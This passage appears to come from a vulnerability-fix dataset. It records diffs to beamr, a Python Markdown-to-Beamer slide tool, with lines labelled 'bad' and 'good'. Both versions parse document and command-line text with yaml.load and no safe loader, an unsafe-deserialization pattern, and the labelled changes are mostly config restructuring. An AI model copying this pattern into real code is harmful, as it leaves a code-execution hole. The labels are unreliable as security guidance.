"verbose = False", "quiet = False", "def debug(*arg):", " print('DBG:', *arg, file=file)", "def warn(*arg):", " if not quiet:", " print('WARN:', *arg, file=file)", "def err(*arg):", " print('ERR:', *arg, file=file)"], "goodparts": ["verbose = 0", "quiet = 0", "infname = ''", "def debug(*arg, **kw):", " _print(arg, kw, 'DBG')", "def warn(*arg, **kw):", " if quiet < 2:", " _print(arg, kw, 'WARN')", "def err(*arg, **kw):", " if quiet < 3:", " _print(arg, kw, 'ERR')", "def _print(arg, kw, pre=''):", " kw['file'] = sys.stderr", " if 'range' in kw:", " pre = '%s:%s: %s:' % (infname, kw['range'], pre)", " del kw['range']", " else:", " pre = '%s: %s:' % (infname, pre)", " print(pre, *arg, **kw"]}], "source": "\n''' Created on 13 Nov 2017 @author: Teodor Gherasim Nistor ''' from __future__ import print_function import sys file=sys.stderr verbose=False quiet=False def debug(*arg): if verbose: print('DBG:', *arg, file=file) def warn(*arg): if not quiet: print('WARN:', *arg, file=file) def err(*arg): print('ERR:', *arg, file=file) ", "sourceWithComments": "'''\nCreated on 13 Nov 2017\n\n@author: Teodor Gherasim Nistor\n'''\nfrom __future__ import print_function\nimport sys\n\nfile = sys.stderr\nverbose = False\nquiet = False\n\ndef debug(*arg):\n if verbose:\n print('DBG:', *arg, file=file)\n\ndef warn(*arg):\n if not quiet:\n print('WARN:', *arg, file=file)\n\ndef err(*arg):\n print('ERR:', *arg, file=file)\n"}, "/beamr/interpreters/config.py": {"changes": [{"diff": "\n import re\n from beamr.debug import warn, err\n \n-# TODO could move class methods and effective config to module level\n-# TODO prevent the user from too easily breaking the config - is there another way except littering try/except everywhere config is used??\n-# TODO is there a case for overriding lists completely? nb. Can be done by setting to non-list then to fresh list later in the yaml\n \n class Config(object):\n \n+ # Location of user config file\n userConfigPath = os.path.expanduser('~/.beamrrc')\n+\n+ # Template for creating a fresh new user config file\n userConfigTemplate = '''---\n-# Beam configuration file. Please include user settings between the 3 dashes and the 3 dots.\n+### Beamr configuration file. Please include user settings between the 3 dashes and the 3 dots. ###\n editor: %s\n \n ...\n '''\n \n- # Initial config\n+ # Template for wrapping the dump of this config in user config file\n+ userConfigDumpTemplate = '''\n+---\n+### Default configuration dumped from beamr.interpreters.config ###\n+# You can safely remove parts which you don't wish to alter #\n+\n+%s\n+...\n+'''\n+\n+ # Initial config; will be updated throughout\n effectiveConfig = {\n- 'docclass': 'beamer', # Obvs\n+\n+ # Whether to perform additional safety checks (easily toggled from command line)\n+ 'safe' : True,\n+\n+ # Whether a title page should be generated\n+ 'titlePage' : True,\n+\n+ # Document properties for use in title page\n+ 'title' : None,\n+ 'footer' : None,\n+ 'author' : None,\n+ 'institute' : None,\n+ 'date' : None,\n+\n+ # Whether to create a table of contents in various places and what title to give it\n+ 'toc' : False,\n+ 'sectionToc': False,\n+ 'headerToc' : False,\n+ 'tocTitle' : 'Contents',\n+\n+ # Arrangement themes and color schemes\n+ 'theme' : 'Copenhagen',\n+ 'scheme' : 'beaver',\n+\n+ # Bibliography file, title for bibliography slide\n+ 'bib' : None,\n+ 'bibTitle': 'Bibliography',\n+\n+ # Document class and used packages configuration\n+ 'docclass': 'beamer',\n 'packages': [\n 'utf8,inputenc',\n 'T1,fontenc',\n 'pdfpages',\n- #'hidelinks,hyperref', # Clashes with beamer...?\n 'upquote',\n 'normalem,ulem',\n- # TODO give example for setting a font\n- # tikz? natbib? etc??\n- \n+ 'tabularx',\n ],\n \n+ # Paths where to search for images in the ~{ } construct\n 'graphicspath': [\n # Graphics path resolution: pdflatex automatically looks in the directory where it was called, but should it also look in the directory of the input file?\n ],\n \n- # Arrangement themes and color schemes\n- 'theme': 'Copenhagen',\n- 'scheme': 'beaver',\n-\n- # Image file extensions. Empty extension is necessary when file name is already given with extension.\n+ # Image file extensions for use in the ~{ } construct\n+ # Empty extension is necessary when file name is already given with extension.\n 'imgexts': [\n '', '.png', '.pdf', '.jpg', '.mps', '.jpeg', '.jbig2', '.jb2',\n '.PNG', '.PDF', '.JPG', '.JPEG', '.JBIG2', '.JB2' # As per https://tex.stackexchange.com/a/72939 - Sept 2017\n ],\n \n- # TODO Whether to perform additional safety checks\n- 'safe': True,\n+ # Characters whose escaped/unescaped normal LaTeX use cases are to be swapped\n+ 'antiescape': '&%',\n \n- # pdflatex executable path\n- 'pdflatex': 'pdflatex',\n+ # Inline emphasis, e.g. *bold*, __underlined__ etc\n+ 'emph': {\n+ '*': r'\\textbf{%s}',\n+ '_': r'\\textit{%s}',\n+ '~': r'\\sout{%s}',\n+ '**': r'\\alert{%s}',\n+ '__': r'\\underline{%s}',\n+ },\n+\n+ # Square bracket constructs, e.g. [>], [] etc\n+ 'stretch': {\n+ '<>': '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}',\n+ '><': '\\\\begin{center}\\n%s\\n\\\\end{center}',\n+ '<<': '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}',\n+ '>>': '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}',\n+ '+' : r'\\pause %s',\n+ '>' : r'\\hfill %s',\n+ '^^': r'\\vspace{-%s}',\n+ '..': r'{\\footnotesize %s}',\n+ ':' : r'\\vspace{5mm}%s'\n+ },\n \n # Environment to use for verbatim\n 'verbatim': 'listings',\n \n+ # User-configurable custom LaTeX code insertion points\n+ 'packageDefPre' : '',\n+ 'outerPreamblePre' : '',\n+ 'outerPreamblePost': '',\n+ 'innerPreamblePre' : '',\n+ 'innerPreamblePost': '',\n+ 'outroPre' : '',\n+ 'outroPost' : '',\n+\n # Command sets used internally by listings/minted\n- 'vbtmCmds': {\n+ '~vbtmCmds': {\n 'packageNames': ['listings', 'minted'],\n 'once': {\n 'listings': r'\\definecolor{codegreen}{rgb}{0.1,0.4,0.1}\\definecolor{codegray}{rgb}{0.5,0.5,0.5}\\definecolor{codepurple}{rgb}{0.4,0,0.7}\\lstdefinestyle{defostyle}{commentstyle=\\color{codegreen},keywordstyle=\\color{blue},numberstyle=\\tiny\\color{codegray},stringstyle=\\color{codepurple},basicstyle=\\footnotesize\\ttfamily,breakatwhitespace=false,breaklines=true,captionpos=b,keepspaces=true,numbers=left,numbersep=5pt,showspaces=false,showstringspaces=false,showtabs=false,tabsize=3}',\n", "add": 82, "remove": 20, "filename": "/beamr/interpreters/config.py", "badparts": [" 'docclass': 'beamer', # Obvs", " 'theme': 'Copenhagen',", " 'scheme': 'beaver',", " 'safe': True,", " 'pdflatex': 'pdflatex',", " 'vbtmCmds': {"], "goodparts": [" userConfigDumpTemplate = '''", "---", "%s", "...", "'''", " 'safe' : True,", " 'titlePage' : True,", " 'title' : None,", " 'footer' : None,", " 'author' : None,", " 'institute' : None,", " 'date' : None,", " 'toc' : False,", " 'sectionToc': False,", " 'headerToc' : False,", " 'tocTitle' : 'Contents',", " 'theme' : 'Copenhagen',", " 'scheme' : 'beaver',", " 'bib' : None,", " 'bibTitle': 'Bibliography',", " 'docclass': 'beamer',", " 'tabularx',", " 'antiescape': '&%',", " 'emph': {", " '*': r'\\textbf{%s}',", " '_': r'\\textit{%s}',", " '~': r'\\sout{%s}',", " '**': r'\\alert{%s}',", " '__': r'\\underline{%s}',", " },", " 'stretch': {", " '<>': '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}',", " '><': '\\\\begin{center}\\n%s\\n\\\\end{center}',", " '<<': '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}',", " '>>': '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}',", " '+' : r'\\pause %s',", " '>' : r'\\hfill %s',", " '^^': r'\\vspace{-%s}',", " '..': r'{\\footnotesize %s}',", " ':' : r'\\vspace{5mm}%s'", " },", " 'packageDefPre' : '',", " 'outerPreamblePre' : '',", " 'outerPreamblePost': '',", " 'innerPreamblePre' : '',", " 'innerPreamblePost': '',", " 'outroPre' : '',", " 'outroPost' : '',", " '~vbtmCmds': {"]}, {"diff": "\n }\n '''\n },\n-# 'langCheck': {\n-# 'minted': '''''''',\n-# },\n 'insertion': r'\\codeSnippet%s '\n },\n \n- # Inline emphasis, e.g. *bold*. ~strikethrough~\n- 'emph': {\n- '*': r'\\textbf{%s}',\n- '_': r'\\textit{%s}',\n- '~': r'\\sout{%s}',\n- '**': r'\\alert{%s}',\n- '__': r'\\underline{%s}',\n- },\n+ # TBC ascii arrow art et al\n+ '~asciiArt': {},\n \n- # Square bracket constructs, e.g. [>], [] etc\n- 'stretch': {\n- '<>': lambda s: '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}' % s,\n- '><': lambda s: '\\\\begin{center}\\n%s\\n\\\\end{center}' % s,\n- '<<': lambda s: '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}' % s,\n- '>>': lambda s: '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}' % s,\n- '+' : lambda s: r'\\pause ', # @UnusedVariable\n- '>' : lambda s: r'\\hfill ', # @UnusedVariable\n- '^^': lambda s: r'\\vspace{-%s}' % s, # TODO check number, add default unit (mm)\n- 'vv': lambda s: r'\\vspace{%s}' % s, # TODO check number, add default unit (mm)\n- '__': lambda s: r'{\\footnotesize %s}' % s,\n- ':' : lambda s: r''\n+ # Commands for package preamble\n+ '~docclass': [r'\\documentclass[%s]{%s}', r'\\documentclass{%s}'],\n+ '~package' : [r'\\usepackage[%s]{%s}', r'\\usepackage{%s}'],\n+\n+ # Commands for outer preamble\n+ '~theme' : '\\\\usetheme{%s}\\n',\n+ '~scheme' : '\\\\usecolortheme{%s}\\n',\n+ '~author' : '\\\\author{%s}\\n',\n+ '~institute' : '\\\\institute{%s}\\n',\n+ '~date' : '\\\\date{%s}\\n',\n+ '~title' : '\\\\title[%s]{%s}\\n',\n+ '~footerCounter': r' \\insertframenumber/\\inserttotalframenumber\\ ',\n+ '~sectionToc' : r'\\AtBeginSection[]{\\frametitle{%s}\\tableofcontents[currentsection,currentsubsection,hideothersubsections,sectionstyle=show/shaded,subsectionstyle=show/show/shaded]}' + '\\n',\n+ '~headerNoToc' : '\\\\setbeamertemplate{headline}{}\\n',\n+\n+ # Commands for inner preamble\n+ '~titlePage': '\\\\frame{\\\\titlepage}\\n',\n+ '~tocPage' : r'\\frame{\\frametitle{%s}\\tableofcontents}' + '\\n',\n+\n+ # Commands for outro\n+ '~bibPage' : r'\\frame{\\frametitle{%s}\\bibliographystyle{plain}\\bibliography{%s}}' + '\\n',\n+\n+ # Document wrapper commands\n+ '~docBegin' : '\\n\\\\begin{document}\\n',\n+ '~docEnd' : '\\n\\\\end{document}\\n',\n+\n+ # Slide wrapper commands\n+ '~sldBeginNormal' : '\\\\begin{frame}{%s}\\n',\n+ '~sldBeginBreak' : '\\\\begin{frame}[allowframebreaks]{%s}\\n',\n+ '~sldBeginShrink' : '\\\\begin{frame}[shrink=%s]{%s}\\n',\n+ '~sldBeginShrinkAuto': '\\\\begin{frame}[shrink]{%s}\\n',\n+ '~sldEnd' : '\\n\\\\end{frame}\\n',\n+\n+ # Column wrapper commands\n+ '~colBegin' : '\\\\begin{columns}\\n',\n+ '~colEnd' : '\\\\end{columns}',\n+ '~colMarker' : '\\\\column{%.3f\\\\textwidth}\\n',\n+\n+ # Box wrapper commands\n+ '~boxBegin' : {\n+ '*' : '\\\\begin{block}{%s}\\n',\n+ '!' : '\\\\begin{alertblock}{%s}\\n',\n+ '?' : '\\\\begin{exampleblock}{%s}\\n'\n },\n+ '~boxEnd' : {\n+ '*' : '\\\\end{block}\\n',\n+ '!' : '\\\\end{alertblock}\\n',\n+ '?' : '\\\\end{exampleblock}\\n'\n+ },\n+\n+ # Footnote commands\n+ '~fnSimple' : r'\\footnote[frame]{',\n+ '~fnLabel' : r'\\footnote[frame]{\\label{fn:%s}',\n+ '~fnOnlyLabel': r'\\textsuperscript{\\ref{fn:%s}}',\n+\n+ # Citation commands\n+ '~citeSimple' : r'\\cite{%s}',\n+ '~citeOpts' : r'\\cite[%s]{%s}',\n+\n+ # Comment command\n+ '~comment' : '%% %s\\n',\n \n- # Bibliography file\n- 'bib': None,\n+ # URL command\n+ '~url' : r'\\url{%s}',\n+\n+ # Heading commands\n+ '~heading' : [\n+ '\\\\section{ %s }\\n',\n+ '\\\\subsection{ %s }\\n',\n+ '\\\\subsubsection{ %s }\\n'\n+ ],\n+\n+ # \"Scissor\" operator commands\n+ '~scissorSimple': r'{\\setbeamercolor{background canvas}{bg=}\\includepdf{%s}}' + '\\n',\n+ '~scissorPages' : r'{\\setbeamercolor{background canvas}{bg=}\\includepdf[pages={%s}]{%s}}' + '\\n',\n+\n+ # Only makes sense in user config, but placed here to avoid a spurious warning\n+ 'editor': None\n }\n \n # Config instances left to process from document\n", "add": 78, "remove": 25, "filename": "/beamr/interpreters/config.py", "badparts": [" 'emph': {", " '*': r'\\textbf{%s}',", " '_': r'\\textit{%s}',", " '~': r'\\sout{%s}',", " '**': r'\\alert{%s}',", " '__': r'\\underline{%s}',", " },", " 'stretch': {", " '<>': lambda s: '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}' % s,", " '><': lambda s: '\\\\begin{center}\\n%s\\n\\\\end{center}' % s,", " '<<': lambda s: '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}' % s,", " '>>': lambda s: '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}' % s,", " '+' : lambda s: r'\\pause ', # @UnusedVariable", " '>' : lambda s: r'\\hfill ', # @UnusedVariable", " '^^': lambda s: r'\\vspace{-%s}' % s, # TODO check number, add default unit (mm)", " 'vv': lambda s: r'\\vspace{%s}' % s, # TODO check number, add default unit (mm)", " '__': lambda s: r'{\\footnotesize %s}' % s,", " ':' : lambda s: r''", " 'bib': None,"], "goodparts": [" '~asciiArt': {},", " '~docclass': [r'\\documentclass[%s]{%s}', r'\\documentclass{%s}'],", " '~package' : [r'\\usepackage[%s]{%s}', r'\\usepackage{%s}'],", " '~theme' : '\\\\usetheme{%s}\\n',", " '~scheme' : '\\\\usecolortheme{%s}\\n',", " '~author' : '\\\\author{%s}\\n',", " '~institute' : '\\\\institute{%s}\\n',", " '~date' : '\\\\date{%s}\\n',", " '~title' : '\\\\title[%s]{%s}\\n',", " '~footerCounter': r' \\insertframenumber/\\inserttotalframenumber\\ ',", " '~sectionToc' : r'\\AtBeginSection[]{\\frametitle{%s}\\tableofcontents[currentsection,currentsubsection,hideothersubsections,sectionstyle=show/shaded,subsectionstyle=show/show/shaded]}' + '\\n',", " '~headerNoToc' : '\\\\setbeamertemplate{headline}{}\\n',", " '~titlePage': '\\\\frame{\\\\titlepage}\\n',", " '~tocPage' : r'\\frame{\\frametitle{%s}\\tableofcontents}' + '\\n',", " '~bibPage' : r'\\frame{\\frametitle{%s}\\bibliographystyle{plain}\\bibliography{%s}}' + '\\n',", " '~docBegin' : '\\n\\\\begin{document}\\n',", " '~docEnd' : '\\n\\\\end{document}\\n',", " '~sldBeginNormal' : '\\\\begin{frame}{%s}\\n',", " '~sldBeginBreak' : '\\\\begin{frame}[allowframebreaks]{%s}\\n',", " '~sldBeginShrink' : '\\\\begin{frame}[shrink=%s]{%s}\\n',", " '~sldBeginShrinkAuto': '\\\\begin{frame}[shrink]{%s}\\n',", " '~sldEnd' : '\\n\\\\end{frame}\\n',", " '~colBegin' : '\\\\begin{columns}\\n',", " '~colEnd' : '\\\\end{columns}',", " '~colMarker' : '\\\\column{%.3f\\\\textwidth}\\n',", " '~boxBegin' : {", " '*' : '\\\\begin{block}{%s}\\n',", " '!' : '\\\\begin{alertblock}{%s}\\n',", " '?' : '\\\\begin{exampleblock}{%s}\\n'", " '~boxEnd' : {", " '*' : '\\\\end{block}\\n',", " '!' : '\\\\end{alertblock}\\n',", " '?' : '\\\\end{exampleblock}\\n'", " },", " '~fnSimple' : r'\\footnote[frame]{',", " '~fnLabel' : r'\\footnote[frame]{\\label{fn:%s}',", " '~fnOnlyLabel': r'\\textsuperscript{\\ref{fn:%s}}',", " '~citeSimple' : r'\\cite{%s}',", " '~citeOpts' : r'\\cite[%s]{%s}',", " '~comment' : '%% %s\\n',", " '~url' : r'\\url{%s}',", " '~heading' : [", " '\\\\section{ %s }\\n',", " '\\\\subsection{ %s }\\n',", " '\\\\subsubsection{ %s }\\n'", " ],", " '~scissorSimple': r'{\\setbeamercolor{background canvas}{bg=}\\includepdf{%s}}' + '\\n',", " '~scissorPages' : r'{\\setbeamercolor{background canvas}{bg=}\\includepdf[pages={%s}]{%s}}' + '\\n',", " 'editor': None"]}, {"diff": "\n for stub in yaml.load_all(re.sub( # Get rid of text outside Yaml markers\n r'(^|\\n\\.\\.\\.)[\\s\\S]*?($|\\n---)',\n '\\n---',\n- cf.read()\n+ '\\n' + cf.read()\n )):\n if stub:\n configStubs.append(stub)\n", "add": 1, "remove": 1, "filename": "/beamr/interpreters/config.py", "badparts": [" cf.read()"], "goodparts": [" '\\n' + cf.read()"]}, {"diff": "\n \n # Update effective config above with all these\n for c in reversed(configStubs):\n- cls.recursiveUpdate(cls.effectiveConfig, c)\n+ cls.recursiveUpdate(cls.effectiveConfig, c, True)\n \n @classmethod\n def fromCmdline(cls, general, **special):\n- try:\n- cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))\n- except:\n- pass\n+ if general:\n+ try:\n+ cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))\n+ except Exception as e:\n+ warn(repr(e), 'when parsing config from command line')\n cls.recursiveUpdate(cls.cmdlineConfig, special)\n \n @classmethod\n", "add": 6, "remove": 5, "filename": "/beamr/interpreters/config.py", "badparts": [" cls.recursiveUpdate(cls.effectiveConfig, c)", " try:", " cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))", " except:", " pass"], "goodparts": [" cls.recursiveUpdate(cls.effectiveConfig, c, True)", " if general:", " try:", " cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))", " except Exception as e:", " warn(repr(e), 'when parsing config from command line')"]}, {"diff": "\n return kw['default'] if 'default' in kw else lambda s: s\n \n @classmethod\n- def editUserConfig(cls, editor):\n+ def editUserConfig(cls, editor, dump):\n if not os.path.isfile(cls.userConfigPath):\n if editor:\n with open(cls.userConfigPath, 'w') as cf:\n cf.write(cls.userConfigTemplate % editor)\n+ if dump:\n+ cf.write(cls.dump())\n+ dump = False\n else:\n err('Editor not given. Cannot edit.')\n return 2\n", "add": 4, "remove": 1, "filename": "/beamr/interpreters/config.py", "badparts": [" def editUserConfig(cls, editor):"], "goodparts": [" def editUserConfig(cls, editor, dump):", " if dump:", " cf.write(cls.dump())", " dump = False"]}, {"diff": "\n if 'editor' in d:\n editor = d['editor']\n break\n- except:\n- pass\n+ except Exception as e:\n+ warn(repr(e))\n if not editor:\n err('Editor not given. Cannot edit.')\n return 3\n+ if dump:\n+ with open(cls.userConfigPath, 'a') as cf:\n+ cf.write(cls.dump())\n subprocess.call([editor, cls.userConfigPath])\n return 0\n \n @staticmethod\n- def recursiveUpdate(target, content):\n- for k in content:\n- if k in target and isinstance(content[k], dict) and isinstance(target[k], dict):\n- Config.recursiveUpdate(target[k], content[k])\n- elif k in target and isinstance(content[k], list) and isinstance(target[k], list):\n- target[k] += content[k]\n+ def recursiveUpdate(target, source, checkExists=False):\n+ for k in source:\n+\n+ # Key doesn't exists in target => add from source, warn if necessary\n+ if k not in target:\n+ if checkExists:\n+ warn('Config: Adding previously unseen element', k)\n+ target[k] = source[k]\n+\n+ # Key exists in target and is dict => recurse only if value in source is also dict\n+ elif isinstance(target[k], dict):\n+ if isinstance(source[k], dict):\n+ Config.recursiveUpdate(target[k], source[k])\n+ else:\n+ warn('Config: Skipping non-dict replacement for dict', k)\n+\n+ # Key exists in target and is list => add/remove/ensure existence as per source, enforcing value in source to also be list\n+ elif isinstance(target[k], list):\n+ if not isinstance(source[k], list):\n+ source[k] = [str(source[k])]\n+ for c in source[k]:\n+ if c and c[0] == '+':\n+ target[k].append(c[1:])\n+ elif c and c[0] == '-' and c[1:] in target[k]:\n+ target[k].remove(c[1:])\n+ elif c not in target[k]:\n+ target[k].append(c)\n+\n+ # Key exists in target and is normal element => replace\n else:\n- target[k] = content[k]\n+ target[k] = source[k]\n+\n+ @classmethod\n+ def dump(cls):\n+ return cls.userConfigDumpTemplate % yaml.dump(cls.effectiveConfig, default_flow_style=False)\n \n def __str__(self):\n return ''", "add": 39, "remove": 9, "filename": "/beamr/interpreters/config.py", "badparts": [" except:", " pass", " def recursiveUpdate(target, content):", " for k in content:", " if k in target and isinstance(content[k], dict) and isinstance(target[k], dict):", " Config.recursiveUpdate(target[k], content[k])", " elif k in target and isinstance(content[k], list) and isinstance(target[k], list):", " target[k] += content[k]", " target[k] = content[k]"], "goodparts": [" except Exception as e:", " warn(repr(e))", " if dump:", " with open(cls.userConfigPath, 'a') as cf:", " cf.write(cls.dump())", " def recursiveUpdate(target, source, checkExists=False):", " for k in source:", " if k not in target:", " if checkExists:", " warn('Config: Adding previously unseen element', k)", " target[k] = source[k]", " elif isinstance(target[k], dict):", " if isinstance(source[k], dict):", " Config.recursiveUpdate(target[k], source[k])", " else:", " warn('Config: Skipping non-dict replacement for dict', k)", " elif isinstance(target[k], list):", " if not isinstance(source[k], list):", " source[k] = [str(source[k])]", " for c in source[k]:", " if c and c[0] == '+':", " target[k].append(c[1:])", " elif c and c[0] == '-' and c[1:] in target[k]:", " target[k].remove(c[1:])", " elif c not in target[k]:", " target[k].append(c)", " target[k] = source[k]", " @classmethod", " def dump(cls):", " return cls.userConfigDumpTemplate % yaml.dump(cls.effectiveConfig, default_flow_style=False)"]}], "source": "\n''' Created on 6 Feb 2018 @author: Teodor Gherasim Nistor ''' import yaml import subprocess import os import re from beamr.debug import warn, err class Config(object): userConfigPath=os.path.expanduser('~/.beamrrc') userConfigTemplate='''--- editor: %s ... ''' effectiveConfig={ 'docclass': 'beamer', 'packages':[ 'utf8,inputenc', 'T1,fontenc', 'pdfpages', 'upquote', 'normalem,ulem', ], 'graphicspath':[ ], 'theme': 'Copenhagen', 'scheme': 'beaver', 'imgexts':[ '', '.png', '.pdf', '.jpg', '.mps', '.jpeg', '.jbig2', '.jb2', '.PNG', '.PDF', '.JPG', '.JPEG', '.JBIG2', '.JB2' ], 'safe': True, 'pdflatex': 'pdflatex', 'verbatim': 'listings', 'vbtmCmds':{ 'packageNames':['listings', 'minted'], 'once':{ 'listings': r'\\definecolor{codegreen}{rgb}{0.1,0.4,0.1}\\definecolor{codegray}{rgb}{0.5,0.5,0.5}\\definecolor{codepurple}{rgb}{0.4,0,0.7}\\lstdefinestyle{defostyle}{commentstyle=\\color{codegreen},keywordstyle=\\color{blue},numberstyle=\\tiny\\color{codegray},stringstyle=\\color{codepurple},basicstyle=\\footnotesize\\ttfamily,breakatwhitespace=false,breaklines=true,captionpos=b,keepspaces=true,numbers=left,numbersep=5pt,showspaces=false,showstringspaces=false,showtabs=false,tabsize=3}', 'minted': '' }, 'foreach':{ 'minted': '''\\\\defverbatim[colored]%s{ \\\\begin{minted}[xleftmargin=20pt,linenos]{%s} %s \\\\end{minted} } ''', 'listings': '''\\\\defverbatim[colored]%s{ \\\\begin{lstlisting}[language=%s,style=defostyle] %s \\\\end{lstlisting} } ''' }, 'foreachNoLang':{ 'minted': '''\\\\defverbatim[colored]%s{ \\\\begin{minted}[xleftmargin=20pt,linenos]{text} %s \\\\end{minted} } ''', 'listings': '''\\\\defverbatim[colored]%s{ \\\\begin{lstlisting}[style=defostyle] %s \\\\end{lstlisting} } ''' }, 'insertion': r'\\codeSnippet%s ' }, 'emph':{ '*': r'\\textbf{%s}', '_': r'\\textit{%s}', '~': r'\\sout{%s}', '**': r'\\alert{%s}', '__': r'\\underline{%s}', }, 'stretch':{ '<>': lambda s: '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}' % s, '><': lambda s: '\\\\begin{center}\\n%s\\n\\\\end{center}' % s, '<<': lambda s: '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}' % s, '>>': lambda s: '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}' % s, '+': lambda s: r'\\pause ', '>': lambda s: r'\\hfill ', '^^': lambda s: r'\\vspace{-%s}' % s, 'vv': lambda s: r'\\vspace{%s}' % s, '__': lambda s: r'{\\footnotesize %s}' % s, ':': lambda s: r'' }, 'bib': None, } docConfig=[] cmdlineConfig={} def __init__(self, txt): self.parsedConfig=yaml.load_all(txt) self.__class__.docConfig.append(self) @classmethod def resolve(cls): configStubs=[cls.cmdlineConfig] while len(cls.docConfig): try: for stub in cls.docConfig.pop(0).parsedConfig: configStubs.append(stub) except: pass try: with open(cls.userConfigPath, 'r') as cf: for stub in yaml.load_all(re.sub( r'(^|\\n\\.\\.\\.)[\\s\\S]*?($|\\n---)', '\\n---', cf.read() )): if stub: configStubs.append(stub) except: pass for c in reversed(configStubs): cls.recursiveUpdate(cls.effectiveConfig, c) @classmethod def fromCmdline(cls, general, **special): try: cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general)) except: pass cls.recursiveUpdate(cls.cmdlineConfig, special) @classmethod def getRaw(cls, *arg): try: d=cls.effectiveConfig for i in range(len(arg)): d=d[arg[i]] return d except Exception as e: warn('Could not get raw configuration for', arg, 'due to', repr(e)) return None @classmethod def get(cls, *arg, **kw): try: d=cls.effectiveConfig for i in range(len(arg)): d=d[arg[i]] if callable(d): return d return lambda s: d % s except Exception as e: warn('Could not get configuration for', arg, 'due to', repr(e)) return kw['default'] if 'default' in kw else lambda s: s @classmethod def editUserConfig(cls, editor): if not os.path.isfile(cls.userConfigPath): if editor: with open(cls.userConfigPath, 'w') as cf: cf.write(cls.userConfigTemplate % editor) else: err('Editor not given. Cannot edit.') return 2 elif not editor: try: with open(cls.userConfigPath, 'r') as cf: for d in yaml.load_all(cf): if 'editor' in d: editor=d['editor'] break except: pass if not editor: err('Editor not given. Cannot edit.') return 3 subprocess.call([editor, cls.userConfigPath]) return 0 @staticmethod def recursiveUpdate(target, content): for k in content: if k in target and isinstance(content[k], dict) and isinstance(target[k], dict): Config.recursiveUpdate(target[k], content[k]) elif k in target and isinstance(content[k], list) and isinstance(target[k], list): target[k] +=content[k] else: target[k]=content[k] def __str__(self): return '' ", "sourceWithComments": "'''\nCreated on 6 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nimport yaml\nimport subprocess\nimport os\nimport re\nfrom beamr.debug import warn, err\n\n# TODO could move class methods and effective config to module level\n# TODO prevent the user from too easily breaking the config - is there another way except littering try/except everywhere config is used??\n# TODO is there a case for overriding lists completely? nb. Can be done by setting to non-list then to fresh list later in the yaml\n\nclass Config(object):\n\n userConfigPath = os.path.expanduser('~/.beamrrc')\n userConfigTemplate = '''---\n# Beam configuration file. Please include user settings between the 3 dashes and the 3 dots.\neditor: %s\n\n...\n'''\n\n # Initial config\n effectiveConfig = {\n 'docclass': 'beamer', # Obvs\n 'packages': [\n 'utf8,inputenc',\n 'T1,fontenc',\n 'pdfpages',\n #'hidelinks,hyperref', # Clashes with beamer...?\n 'upquote',\n 'normalem,ulem',\n # TODO give example for setting a font\n # tikz? natbib? etc??\n \n ],\n\n 'graphicspath': [\n # Graphics path resolution: pdflatex automatically looks in the directory where it was called, but should it also look in the directory of the input file?\n ],\n\n # Arrangement themes and color schemes\n 'theme': 'Copenhagen',\n 'scheme': 'beaver',\n\n # Image file extensions. Empty extension is necessary when file name is already given with extension.\n 'imgexts': [\n '', '.png', '.pdf', '.jpg', '.mps', '.jpeg', '.jbig2', '.jb2',\n '.PNG', '.PDF', '.JPG', '.JPEG', '.JBIG2', '.JB2' # As per https://tex.stackexchange.com/a/72939 - Sept 2017\n ],\n\n # TODO Whether to perform additional safety checks\n 'safe': True,\n\n # pdflatex executable path\n 'pdflatex': 'pdflatex',\n\n # Environment to use for verbatim\n 'verbatim': 'listings',\n\n # Command sets used internally by listings/minted\n 'vbtmCmds': {\n 'packageNames': ['listings', 'minted'],\n 'once': {\n 'listings': r'\\definecolor{codegreen}{rgb}{0.1,0.4,0.1}\\definecolor{codegray}{rgb}{0.5,0.5,0.5}\\definecolor{codepurple}{rgb}{0.4,0,0.7}\\lstdefinestyle{defostyle}{commentstyle=\\color{codegreen},keywordstyle=\\color{blue},numberstyle=\\tiny\\color{codegray},stringstyle=\\color{codepurple},basicstyle=\\footnotesize\\ttfamily,breakatwhitespace=false,breaklines=true,captionpos=b,keepspaces=true,numbers=left,numbersep=5pt,showspaces=false,showstringspaces=false,showtabs=false,tabsize=3}',\n 'minted': ''\n },\n 'foreach': {\n 'minted':\n'''\\\\defverbatim[colored]%s{\n \\\\begin{minted}[xleftmargin=20pt,linenos]{%s}\n%s\n \\\\end{minted}\n}\n''',\n 'listings':\n'''\\\\defverbatim[colored]%s{\n \\\\begin{lstlisting}[language=%s,style=defostyle]\n%s\n \\\\end{lstlisting}\n}\n'''\n },\n 'foreachNoLang': {\n 'minted':\n'''\\\\defverbatim[colored]%s{\n \\\\begin{minted}[xleftmargin=20pt,linenos]{text}\n%s\n \\\\end{minted}\n}\n''',\n 'listings':\n'''\\\\defverbatim[colored]%s{\n \\\\begin{lstlisting}[style=defostyle]\n%s\n \\\\end{lstlisting}\n}\n'''\n },\n# 'langCheck': {\n# 'minted': '''''''',\n# },\n 'insertion': r'\\codeSnippet%s '\n },\n\n # Inline emphasis, e.g. *bold*. ~strikethrough~\n 'emph': {\n '*': r'\\textbf{%s}',\n '_': r'\\textit{%s}',\n '~': r'\\sout{%s}',\n '**': r'\\alert{%s}',\n '__': r'\\underline{%s}',\n },\n\n # Square bracket constructs, e.g. [>], [] etc\n 'stretch': {\n '<>': lambda s: '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}' % 